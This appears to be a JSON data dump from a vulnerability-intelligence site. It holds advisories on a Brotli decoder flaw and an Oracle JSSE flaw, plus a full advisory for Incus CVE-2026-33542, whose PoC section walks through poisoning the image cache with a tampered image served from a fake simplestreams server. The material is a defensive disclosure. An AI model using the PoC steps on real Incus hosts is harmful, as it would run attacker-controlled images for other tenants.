[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-33542":30,"landing-articles":78},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":41,"technologies":44,"references":47,"score":56,"epss_score":57,"epss_percentile":58,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":59,"attack_mappings":69,"exploits":76},15080,"CVE-2026-33542","EUVD-2026-16460","Incus does not verify combined fingerprint when downloading images from simplestreams servers\n\n### Summary\nA lack of validation of the image fingerprint when downloading from simplestreams image servers opens the door to image cache poisoning and under very narrow circumstances exposes other tenants to running attacker controlled images rather than the expected one.\n\n### Details\nIncus image fingerprints are computed as the SHA256 of the concatenated image files.\nWhen downloading from a public image server using a simplestreams index, Incus requires an HTTPS connection and validates the SHA256 of the individual files but is lacking validation that the concatenated hash of the files matches the fingerprint listed in the simplestreams index.\n\nThis missing check allows an attacker with access to an Incus environment lacking suitable image source restrictions (`restricted.image.server` or equivalent firewall rules) to cause Incus to download from an attacker controlled image server which would provide different image files for an other well known image fingerprint.\n\nSuch an attack can be used to poison the global image cache, leading to another user on the system wanting to use the legitimate image to be provided the compromised one instead.\n\nFor this to be successful, the attacker requires:\n\n - Access to an Incus server\n - That server to NOT have been configured with `restricted.image.servers` or an equivalent firewall or HTTP proxy policy\n - Some ability to predict what image may be used by other users in the near future\n - Other users that are actively deploying new Incus instances on the system\n\nHaving to predict what image may be used in the future which doesn't have its legitimate copy already cached on the system (or somewhere within the cluster) makes this attack quite difficult to pull off. It's made even harder by not having any control as to when a given image may be used by another user.\n\nAn example of a somewhat easy target would be a server that's known to run ephemeral instances for Ci or build purposes, as those will get created very frequently and the images they use may be public knowledge, it would be possible to get a compromised image in place with the right timing:\n\n - Monitor the legitimate image server for a new image being published\n - Immediately create a compromised image with the same fingerprint on an attacker controlled image server\n - Get the target Incus environment to download that image BEFORE any legitimate instance creation had the time to pull the legitimate image\n\nBut this again assumes an environment lacking either `restricted.image.servers` or equivalent firewall or proxy policies.\n\n### Mitigation\nAs mentioned above, any server using `restricted.image.servers` in project configuration, as would be strongly recommended in multi-tenant environments will be immune to this attack. As would any server going through equivalent network restriction whether implemented through firewalling or through an HTTP proxy server.\n\nThe updated Incus versions will now validate not just the individual files during download but also that the hash of the concatenated files does match the image fingerprint, fully preventing such an attack in the future.\n\n### PoC\nTo create a PoC, simply download `https:\u002F\u002Fimages.linuxcontainers.org\u002Fstreams\u002Fv1\u002F{index,images}.json` and `https:\u002F\u002Fimages.linuxcontainers.org\u002Fimages\u002FDISTRO\u002FRELEASE\u002FARCH\u002Fdefault\u002FNEWEST\u002F{incus.tar.xz,rootfs.squashfs}` or similar paths, put them in suitable locations in a folder, and then use a server to serve them through https. The TLS certificate used by the server may need to be signed by a trusted CA of the client system.\n\nThen change the content of `rootfs.squashfs` by `unsquashfs`\u002F`mksquashfs`, add one line in `\u002Froot\u002F.bashrc`: `echo 'PoC: hacked!'`, and then update corresponding `sha256` and `size` fields for that individual file in `images.json`.\n\nUsing `incus-simplestreams` first and then altering the `combined_xxx` fields should also be OK.\n\nAfter that, check the following commands:\n\n```\n$ incus remote add poc https:\u002F\u002FTESTSERVER:4443 --protocol simplestreams\n$ incus remote list \n+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+\n|      NAME       |                URL                 |   PROTOCOL    |  AUTH TYPE  | PUBLIC | STATIC | GLOBAL |\n+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+\n| images          | https:\u002F\u002Fimages.linuxcontainers.org | simplestreams | none        | YES    | NO     | NO     |\n+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+\n| local (current) | unix:\u002F\u002F                            | incus         | file access | NO     | YES    | NO     |\n+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+\n| poc             | https:\u002F\u002FTESTSERVER:4443             | simplestreams | none        | YES    | NO     | NO     |\n+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+\n$ incus image list \n+-------+-------------+--------+-------------+--------------+------+------+-------------+\n| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |\n+-------+-------------+--------+-------------+--------------+------+------+-------------+\n$ incus image list images:debian\u002Ftrixie -c lFpdasu\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n|              ALIAS               |                           FINGERPRINT                            | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   SIZE    |     UPLOAD DATE      |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13 (7 more)               | 8dad70759d54410e4e8ad84164f6a9d8bda3af753a54441365ff1476f065999c | yes    | Debian trixie amd64 (20260320_05:24)   | x86_64       | 341.13MiB | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13 (7 more)               | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | yes    | Debian trixie amd64 (20260320_05:24)   | x86_64       | 94.70MiB  | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13\u002Farm64 (3 more)         | 41b4f8849cfc8d22a6b9cd86790602a43f67a9ec2c1d7e13a0b3ecf7b7d6663e | yes    | Debian trixie arm64 (20260320_05:24)   | aarch64      | 339.27MiB | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13\u002Farm64 (3 more)         | fda543def4b41f65511696ec0350d899dad5374956d18078697f58d1c466bae4 | yes    | Debian trixie arm64 (20260320_05:24)   | aarch64      | 92.25MiB  | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13\u002Farmhf (3 more)         | 77ef0a077759eab7690b1401bfbec78360d2a0462ee89fa3de86b899465adedb | yes    | Debian trixie armhf (20260320_05:24)   | armv7l       | 84.14MiB  | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13\u002Fcloud (3 more)         | 2ee3da00ca407ea98e1b84a2d5b1561c0fffb0281b05035e307e5029cdaa5532 | yes    | Debian trixie amd64 (20260320_05:24)   | x86_64       | 130.17MiB | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13\u002Fcloud (3 more)         | 108ed9a36105c37ba5412a880b5c39653536453189789aa101e46591de620d56 | yes    | Debian trixie amd64 (20260320_05:24)   | x86_64       | 374.30MiB | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13\u002Fcloud\u002Farm64 (1 more)   | cfb51c473e221b6c8b62a21808bd4f69ca4845108abfb14187fde8b79befbab3 | yes    | Debian trixie arm64 (20260320_05:24)   | aarch64      | 126.78MiB | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13\u002Fcloud\u002Farm64 (1 more)   | ff2c2c62849d978dfad0cc1df54c0f55881a0edf3b31333c3b2a00413eaee1a5 | yes    | Debian trixie arm64 (20260320_05:24)   | aarch64      | 371.76MiB | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13\u002Fcloud\u002Farmhf (1 more)   | 8eb505d548265e371a3ab0d277f76986f0879e414a6a74af2f975cf3caffc565 | yes    | Debian trixie armhf (20260320_05:24)   | armv7l       | 117.92MiB | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13\u002Fcloud\u002Friscv64 (1 more) | dab5009031d0d03c8cfebb330a83baf950eb79b8277a5f071e0a81758d17b8b4 | yes    | Debian trixie riscv64 (20260320_05:24) | riscv64      | 122.90MiB | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian\u002F13\u002Friscv64 (3 more)       | 1fa5c6eaf7f3c107b96625b49bc2e4f00b077d949d349d9e3c412747ec492341 | yes    | Debian trixie riscv64 (20260320_05:24) | riscv64      | 87.86MiB  | 2026\u002F03\u002F20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n$ incus image copy poc:debian\u002Ftrixie local:\nImage copied successfully!                   \n$ incus image list -c lFpdasu\n+-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+\n| ALIAS |                           FINGERPRINT                            | PUBLIC |             DESCRIPTION              | ARCHITECTURE |   SIZE    |     UPLOAD DATE      |\n+-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+\n|       | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | no     | Debian trixie amd64 (20260320_05:24) | x86_64       | 105.09MiB | 2026\u002F03\u002F21 00:55 CST |\n+-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+\n$ incus launch images:debian\u002Ftrixie\nLaunching the instance\nInstance name is: star-mollusk                   \n$ incus list \n+--------------+---------+------+------------------------------------------------+-----------+-----------+\n|     NAME     |  STATE  | IPV4 |                      IPV6                      |   TYPE    | SNAPSHOTS |\n+--------------+---------+------+------------------------------------------------+-----------+-----------+\n| star-mollusk | RUNNING |      | fd42:115a:7a71:9748:1266:6aff:fe1a:d504 (eth0) | CONTAINER | 0         |\n+--------------+---------+------+------------------------------------------------+-----------+-----------+\n$ incus exec star-mollusk bash\nPoC: hacked!\nroot@star-mollusk:~# \nexit\n$ incus image export images:debian\u002Ftrixie\nImage exported successfully!                  \n$ cat incus.tar.xz rootfs.squashfs | sha256sum\n945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369  -\n$ rm incus.tar.xz rootfs.squashfs\n$ incus image export poc:debian\u002Ftrixie\nImage exported successfully!                   \n$ cat incus.tar.xz rootfs.squashfs | sha256sum\nd3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002  -\n$ rm incus.tar.xz rootfs.squashfs\n$ incus image export local:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369\nError: Image fingerprint doesn't match. Got d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 expected 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369\n$ incus image export poc:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369\nImage exported successfully!                   \n$ cat incus.tar.xz rootfs.squashfs | sha256sum\nd3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002  -\n```","2026-03-27T17:08:00Z",{},false,[39,40],"CWE-295","CWE-354",[42,43],"cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*","cpe:2.3:a:lxc:incus:*:*:*:*:*:*:*:*",[45,46],"Linuxcontainers Incus","Lxc Incus",[48,49,50,51,52,53,54,55],"https:\u002F\u002Fgithub.com\u002Flxc\u002Fincus\u002Fsecurity\u002Fadvisories\u002FGHSA-p8mm-23gg-jc9r","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-33542","https:\u002F\u002Fgithub.com\u002Flxc\u002Fincus\u002Fcommit\u002F04e97418189f743411884afb81a3384e6218b8cd","https:\u002F\u002Fgithub.com\u002Flxc\u002Fincus\u002Fcommit\u002F4a80447c52d6bc05d3322feeb5395f581e7a80e4","https:\u002F\u002Fgithub.com\u002Flxc\u002Fincus\u002Fcommit\u002F72688b7d9400c8f3c17ad0f93a7c1aeb89627307","https:\u002F\u002Fgithub.com\u002Flxc\u002Fincus\u002Fcommit\u002Fee26f72524ab60a4abcfd4e52667c52bb24364fc","https:\u002F\u002Fgithub.com\u002Flxc\u002Fincus","https:\u002F\u002Fgithub.com\u002Flxc\u002Fincus\u002Freleases\u002Ftag\u002Fv6.23.0",0,0.00183,0.07809,{"timestamp":60,"automatable":61,"tech_impact":62,"exploitation":63,"cisa_decision":64,"cisa_remediation_timeline":68},"2026-03-30T11:47:23.472135Z","no","partial","poc",{"vector":65,"decision":66,"priority":67},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T03:05:23.866333\u002F","track_star","medium","60D",[70],{"name":71,"source":72,"tactics":73,"technique_id":75},"Exploit Public-Facing Application","attack_vector",[74],"initial-access","T1190",[77],{"link":48},{"count":79,"next":80,"previous":6,"results":81},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[82,90,98],{"id":83,"title":84,"summary":85,"published_at":86,"type":87,"link":88,"image_url":89},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":91,"title":92,"summary":93,"published_at":94,"type":95,"link":96,"image_url":97},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":99,"title":100,"summary":101,"published_at":102,"type":103,"link":104,"image_url":105},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]